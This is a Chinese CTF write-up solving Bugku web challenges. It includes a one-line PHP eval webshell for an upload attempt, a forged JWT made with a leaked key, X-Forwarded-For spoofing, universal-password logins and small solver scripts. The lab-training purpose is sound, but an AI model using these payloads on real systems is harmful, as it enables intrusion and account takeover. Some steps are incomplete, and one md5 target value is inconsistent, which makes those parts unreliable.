Bugku_Web_Writeup
Writeup略顯粗糙~~
部分Web題沒有得到最后的flag只是有了一個簡單的思路~
Web1:
如上,打開題目答題網址后就會彈出一張圖片,看圖片就可以發現是一段PHP源碼,通過對源碼的解析得出以下:
<?php
header("Content-type:text/html;charset=utr-8");
error_reporting(0);
include 'flag.php';
$b = 'ssAEDsssss';
extract($_GET);
// extract():將數組中的鍵名設置為變量名,鍵值為變量中參數
if (isset($a)) { // isset():檢查變量是否存在
$c = trim(file_get_contents($b));
// file_get_contents():將整個文件讀入一個字符串中
// trim(): 函數可移除字符串兩端的空白字符或其他預定義字符,因為沒有預定要刪的字符,所以會刪除全部字符
// 處理一個文本文件中的數據讀入進一個字符串中,利用上述兩個函數進行格式處理
// 結合 $c 變量最后得到的字符串就是一個空內容 ===> $c = ' '
if ($a == $c) { // 在之前isset()判斷是否存在$a變量,從php源碼中沒有發現$a變量;故此在URL中可以構造一個變量a並空值
echo $myFlag ;
} else {
echo "No!";
}
}
?>
綜合分析:
PHP源碼表達的flag顯示是在通過 isset($a) 和 $a == $c 判斷后echo顯示myFlag變量(即flag)以及源碼中注釋說明。
我們需要的就是構造一個變量a給php源碼,然而變量c在函數的聯合下,變量C的內容是空的,於是我們構造一個URL並且a變量為空
http://123.206.31.85:10001/?a=
Web2:
該題三秒自動刷新計算題和答案,所以需要在三秒內計算得出並填寫正確的答案獲取flag
如果按照人類的速度是……不可能的,於是只得借用腳本自動化了!
import requests,re
url = 'http://123.206.31.85:10002/'
// Session():模擬登錄操作
s = requests.Session() // 創建一個Session對象:s
def getURL(url):
con = s.get(url) // 發送請求,使用默認得登錄屬性
res = con.text // 獲取頁面text格式轉換得字符串:res
return res
def Calculation(text):
result = eval(((re.findall(".*</p",text))[0])[0:-3]) // 正則篩選公式
return result // 返回計算公式的結果 result
def postRES():
result = Calculation(getURL(url)) //調用函數返回網頁頁面內容再調用
payload = {'result':result}
r = s.post(url,data=payload) // 模擬提交計算結果給服務端
return r
print (postRES().text) // 返回HTTP結果中的text數據
RUN后就可以得到我們想要的flag了!
*Web3:文件包含
根據提示!得知網站允許我們上傳一張圖片!於是果斷上傳一句話木馬……
<?php eval($_POST[key]);?>
方法一:上傳php文件
結果:失敗!
結論:設置了文件類型審查
方法二:上傳png文件,burp攔包改后綴.php
結果:失敗!
結論:不在客戶端進行,而是利用服務端進行文件類型審查
…………
Web4:萬能登錄
可以看出是類后台登錄的頁面,首先就是萬能密碼走一遍……
然后非常好玩的是……flag就出來了!搞得我還准備用brup爆破弱密碼呢……
*Web5:SQL注入
SQLMap注入:參考
Web6:管理員系統
眨眼一看,沒頭緒,我看了別人的Writeup,都說HTML代碼里有base64加密的password,但是原諒我“蠢”,沒有看見base64碼……
我按照“老”思路,扔了幾個字典跑了一下……(我用了六分鍾跑出來了)
哦!對了……記得修改X-Forwarded-For
的value為本地地址_從另一個角度可以認為這是一道關於偽造IP的題目!
*Web7:
[發貨系統]
web9:
頁面返回如下一串字符:
put me a message bugku then you can get the flag
意思就是讓我們通過PUT方式提交“bugku”給服務端
於是我們抓包修改數據包內容:
修改請求方式為:PUT
添加請求的信息實體內容:bugku
點擊:Go ===>
就會響應flag,但是返回的是看不懂的“亂碼”
然而並不是……通過Base64解碼可以得到正確的flag碼
web10*:JWT的危險
頁面顯示登錄框,我們使用burp抓包並Request:
從返回的數據包看出提示,從尾部的三個等於號推斷是Base32編碼,於是我們使用Base32解碼為字符串
從解密的字符串可以認為是登錄名和密碼,我們使用解碼結果登錄:
通過嘗試從這段文字中發現,Vim崩潰並且網站有秘密……
Vim崩潰時文件會備份緩存,並且以*.swp文件格式存儲;當然了,如果文件正常關閉會自動刪除同名的swp格式文件。
文字中說了,是在寫這個網站的主頁時崩潰的~
呦西!一下子就看見了~那么我們就下載保存打開“L3yx.php.swp”文件
swp文件下載后,利用vi -r [file]恢復技術恢復文件
L3yx.php源碼如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在線日記本</title>
<form action="" method="POST">
<p>username: <input type="text" name="username" /></p>
<p>password: <input type="password" name="password" /></p>
<input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
error_reporting(0);
require_once 'src/JWT.php';
const KEY = 'L3yx----++++----';
function loginkk()
{
$time = time();
$token = [
'iss'=>'L3yx',
'iat'=>$time,
'exp'=>$time+5,
'account'=>'kk'
];
$jwt = \Firebase\JWT\JWT::encode($token,KEY);//JWT認證方式
setcookie("token",$jwt);
header("location:user.php");
}
if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
{
if($_POST['username']=='kk' && $_POST['password']=='kk123')
{
loginkk();
}
else
{
echo "賬號或密碼錯誤";
}
}
?>
在源碼中發現使用了 JWT方法進行認證,且源碼中存在JWT的密鑰"KEY = 'L3yx----++++----'"
從數據包中發現token;我們利用解碼工具進行:
JWT-token包含三部分:JWT頭部、JWT負載、JWT簽名
三部分之間使用 點 符號進行分隔
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 [JWT頭部]
eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDExNTQ1LCJleHAiOjE1NzAwMTE1NTAsImFjY291bnQiOiJrayJ9 [JWT負載]
aWma416iRo9Y55rdk2LNtkyTulVs98ZrCqj0nBLMzH8 [JWT簽名]
我們分別對三部分的編碼方式進行解碼:
JWT頭部—Base64解碼:
{"typ":"JWT","alg":"HS256"}
JWT負載—Base64解碼:
{"iss":"L3yx","iat":1570011545,"exp":1570011550,"account":"kk"}
*通過頭部的解碼發現JWT簽名使用的是HS256算法
通過對頭部和負載兩部分的base64解碼結果進行HS256加密,可以得出JWT簽名部分編碼:
題意,提示我們使用“L3yx”用戶,於是我們修改JWT負載的用戶名(也需要留意時間戳問題:exp):
{"iss":"L3yx","iat":1570011545,"exp":1570033550,"account":"L3yx"}
然后構造一個JWT-token:https://jwt.io/
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDE0MDg0LCJleHAiOjE1NzAwNTU1ODksImFjY291bnQiOiJMM3l4In0.Nvl06ImN7gBuBB4oFwQcgsyzt7zarNhA1vGAXxYksNA
通過Burp—Repeater構造一個發送到user.php的請求
最終獲得正確的flag!
*Web11:
打開頁面,只顯示一行“We han't anything!”,騙子說這里啥都沒有~
但是留意以下抓包的源代碼返回結果發現:
網頁的title頁面標題為“robots”,由此想起了“robots.txt”:
根據獲知的結果訪問“shell.php”
<form action="shell.php" method="get">
substr(md5(<input type="text" name="password">), 0, 6) = 05862a<input type="submit">
</for
從源碼和頁面可以初步認為,是需要提交一個數字被md5函數處理后再被substr函數處理的結果與7fdaf4形成相等。
PHP substr()函數:
substr( string , start , length)
返回String字符串中從start開始,length長度的字符串
綜上,就是對MD5進行截斷比較,暴力解決!~
Web13:
詭異的框框,攔包看一看:
感覺太怪了,返回包中有Password字段信息,於是Base64解碼:
…………
然而並不正確,於是將flag放入框中提交查詢:
於是思前想后,有反復幾次后發現:每一次都是不同的flag,所以我認為是要求在最快的時間內提交當前的flag才可以得到真正的flag~
import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
r = requests.session()
r1 = r.post(url,data={'password':'flag'})
Password = r1.headers['password']
password = str(base64.b64decode(Password),'utf-8')[5:-1]
r2 = r.post(url,data={'password':password})
print(r2.text)
代碼解析:
獲取響應包的password字段,提交到password表單中並提交。
Web14:
提示:“聽說備份了不少東西”
通過簡單的提示,可以確定網站存在源碼泄露的可能
使用GitHack進行探測並嘗試恢復~
Web15:
提示:Vim編輯器
根據頁面和提示可以確定我們要找的flag不在index.php
不過,流程不變,先抓包看一看
果然,一抓包就看見了貓膩~
將hint字段內容進行編碼分析(推測是十六進制)
MRWWY5DGM46T2
只有大寫字母和數字:Base32解碼
dmltfg==
兩個等於號:Base64解碼
Vim~
從最終的結果可以看出,Vim的備份文件符號“~”
結合頁面提示“來錯了地方”,表示頁面沒錯但是位置錯了:
http://123.206.31.85:10015/index.php~
ps原頁面的地址是1ndex.php留下了一個小小的坑哦!
<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
header('location:./1ndex.php');
}else{
$id = $_GET['id'];
if (!is_numeric($id)) { //檢測變量是否為數字或數字字符串
$id = intval($id); //獲取變量的整數值
switch ($id) {
case $id>=0:
echo "快出去吧,走錯路了~~~<br>";
echo "這么簡單都不會么?";
break;
case $id>=10:
exit($flag);
break;
default:
echo "你走不到這一步的!";
break;
}
}
}
?>
分析源碼發現,輸出flag的條件:接收一個值“id”,要求不是數字或數字字符串,但要求大於等於10
源碼的邏輯非常清楚,只要提交的是非數字的字符就可以顯示flag了!
但是~這里有一個坑 ~~~ 巨坑!!!
在這個頁面,無亂提交的是什么都是“Error”的~~~
因為它告訴你了不該來這個頁面仔細看看URL~~
http://123.206.31.85:10015/1ndex.php
一和i傻傻分不清處:
我們要訪問的必須是:index.php:
流量分析:
打開文件后,追蹤TCP流就可以了~
日志審計:
要求從日志中找出黑客攻擊的痕跡~
一打開文件數據太龐大了受不了呀~
疑似SQL注入攻擊的痕跡~
確定存在SQL注入的痕跡~
我們統計每次注入的參數,得到flag~
import re
log = open ('sql_log.txt','r').read()
find = re.findall(r'3D(.*)--',log)
for i in find:
print(chr(int(i)),end="")